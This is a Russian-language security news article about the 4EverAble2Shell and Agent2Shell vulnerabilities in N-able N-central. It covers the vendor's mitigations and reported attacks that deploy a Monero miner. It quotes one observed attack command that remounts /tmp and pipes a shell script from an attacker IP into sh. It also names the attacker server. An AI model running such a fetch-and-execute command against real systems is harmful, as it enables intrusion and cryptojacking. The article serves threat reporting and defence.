В четверг компания N-able объявила о принятии дополнительных мер предосторожности в связи с публичным раскрытием новой серии уязвимостей, известных как 4EverAble2Shell и Agent2Shell. «Мы ограничиваем некоторые функции и интеграции N-central», — говорится в сообщении компании, опубликованном в четверг. «Эти меры могут повлиять на некоторую функциональность, но мы считаем, что принятие дополнительных мер предосторожности во время завершения работ по устранению уязвимостей является правильным шагом для защиты наших партнеров и их клиентов».
К размещенным средам были применены следующие действия:
Размещенным клиентам также рекомендуется следовать предыдущим рекомендациям N-able по обновлению агентов и зондов на N-central версии 2026.4 HF1 и выше, поскольку обновление вносит изменения в способ взаимодействия зонда и агента.
«N-able N-central 2026.4 HF1 обновляет устаревшие компоненты агента и зонда, что изменяет способ их взаимодействия», — говорится в сообщении. «Таким образом, обновление как агентов, так и зондов на вашем сервере N-central является ОБЯЗАТЕЛЬНЫМ для обеспечения связи и установки исправлений на всех управляемых устройствах».
Клиентам, использующим локальные установки, настоятельно рекомендуется обновить агенты и зонды и убедиться, что доступ к устаревшему API отключен в среде, если он был включен ранее.
«Наши команды активно оценивают новые раскрытые сведения, разрабатывают дополнительные меры по устранению уязвимостей и работают над безопасным восстановлением затронутой функциональности», — заявили в N-able. «Защита наших партнеров и их клиентов остается нашим главным приоритетом, и мы будем продолжать принимать превентивные меры по мере необходимости».
Эти события происходят на фоне того, как независимый исследователь безопасности Шон Бейлс раскрыл две новые серии уязвимостей под названием 4EverAble2Shell и Agent2Shell, которые работают против последней версии N-central и могут позволить злоумышленникам выполнять произвольный код с правами root и получать доступ уровня SYSTEM к системам Windows при определенных условиях.
Множественные отчеты об угрозах показывают, что 4EverAble2Shell вышла за рамки предварительного зондирования и перешла к активным попыткам эксплуатации, при этом злоумышленники используют ее для развертывания майнеров криптовалют на уязвимых серверах.
Было обнаружено, что атаки объединяют критическую уязвимость Apache Axis, отслеживаемую как CVE-2026-90436 (оценка CVSS: 9,8), с отдельной уязвимостью повышения привилегий N-central для получения доступа на уровне root.
«Цепочка эксплойтов без аутентификации в N-able N-central, раскрытая как 4EverAble2Shell, как сообщается, позволяет удаленным злоумышленникам выполнять произвольные команды операционной системы с правами root», — заявила компания Previdian, отслеживающая уязвимость как VULN-2026-0009. «Цепочка использует небезопасную инстанциацию классов во время обработки ошибок SOAP в прилагаемом компоненте Apache Axis. Сформированный запрос приводит к обработке злоумышленником выбранного класса JLine вредоносного ввода, что приводит к выполнению команд от имени учетной записи службы nable».
В цепочке эксплойтов, подробно описанной компанией, занимающейся анализом угроз, было замечено, что злоумышленники пытаются загрузить и выполнить скрипт оболочки (“jup.sh”) с сервера, контролируемого злоумышленником по адресу “157.20.241[.]16”, отправляя обратно диагностическую информацию и вывод команд на сервер.
Компания по кибербезопасности Huntback также сообщила, что тот же IP-адрес использует уязвимость 4EverAble2Shell для развертывания майнера криптовалюты Monero XMRig на 21 сервере N-central через вышеупомянутый скрипт оболочки:
mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP-redacted]
Майнер разработан так, чтобы использовать только половину доступных ядер ЦП, вероятно, чтобы остаться незамеченным. Затронутые серверы N-central сосредоточены в США, Южной Африке, Канаде, Великобритании, Германии, Франции и Швеции.
«Майнер — единственная полезная нагрузка, которую мы видели, но повышение привилегий дает оператору root-доступ к хосту, который управляет конечными точками ваших клиентов», — заявила Huntback. «Рассматривайте заражение как полный компромисс, а не как задачу по очистке. Применение Hotfix 2 само по себе недостаточно: 19 из жертв уже использовали его».
Всегда имейте в виду, что редакции могут придерживаться предвзятых взглядов в освещении новостей.
Автор – Ravie Lakshmanan
